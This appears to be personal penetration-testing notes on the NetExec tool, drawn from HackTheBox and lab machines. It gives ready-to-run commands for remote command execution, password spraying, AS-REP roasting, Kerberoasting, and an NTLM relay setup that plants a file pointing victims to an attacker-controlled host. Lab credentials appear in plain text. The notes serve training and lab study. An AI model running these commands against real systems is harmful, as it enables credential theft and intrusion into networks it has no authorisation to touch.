Skip to content

Nxc

Generate the krb5.conf file:

netexec smb 10.10.100.152 -u Eric.Wallows -p 'EricLikesRunning800'  --generate-krb5-file krb5.conf

Example from HackTheBox machine The Frizz

Installation

1
2
3
4
5
6
7
8
# Install within you pyenv environment, in my case tooling
pyenv activate tooling
pip install git+https://github.com/Pennyw0rth/NetExec.git    

# Once installed, remember to remove cache locations for commands
hash -r

# and now it's ready to be used within your env

Basic commands

Why using an env version of the netExec??? I've notice that some features of the preinstalled version of netExec in kali don't work properly. For instance, creating a TGT the tag --generate-tgt is not recognized.

####
# Generate TGT
netexec smb ip -u user -p password --generate-tgt /path

export KRB5CCNAME=/path

# use TGT
netexec smb ip -u user -k --use-kcache


######
# Generate krb5.conf file
netexec smb ip -u user -p password --generate-krb5-file /path
export KRB5_CONFIG=/path
# example: netexec smb 10.10.100.152 -u Eric.Wallows -p 'EricLikesRunning800'  --generate-krb5-file krb5.conf

### 
# Execute commands
netexec smb ip -d corp.com -u user -p password  -x "type c:\Users\Administrator\Desktop\flag.txt"

#### 
# List the shares
netexec smb ip -d corp.com -u user -p password  --shares 


####
# 
nxc winrm 10.10.100.154 -u users.txt  -p 'hghgib6vHT3bVWf' -t 100 --continue-on-success --local-auth




nxc ldap 192.168.209.21 -u christopher.lewis -p 'Lalalala1234.' --asreproast output.txt

nxc ldap 192.168.209.21 -u christopher.lewis -p 'Lalalala1234.' --kerberoast output.txt

nxc ldap 192.168.209.21 -u christopher.lewis -p 'Lalalala1234.' --active-users   

nxc ldap 192.168.209.21 -u christopher.lewis -p 'Lalalala1234.' -k --get-sid 
Domain SID S-1-5-21-1969309164-1513403977-1686805993

NTLM relay

1
2
3
4
5
6
└─$ nxc smb 192.168.245.172-174 -u 'Eric.Wallows' -p 'EricLikesRunning800' --gen-relay-list IPs/allIPs.txt 


nxc smb 192.168.245.173 -u 'Eric.Wallows' -p 'EricLikesRunning800' -M slinky -o SERVER=192.168.45.182 NAME=README

impacket-ntlmrelayx --no-http-server -smb2support -tf IPs/allIPs.txt 
Last update: 2026-03-30
Created: December 21, 2025 12:46:39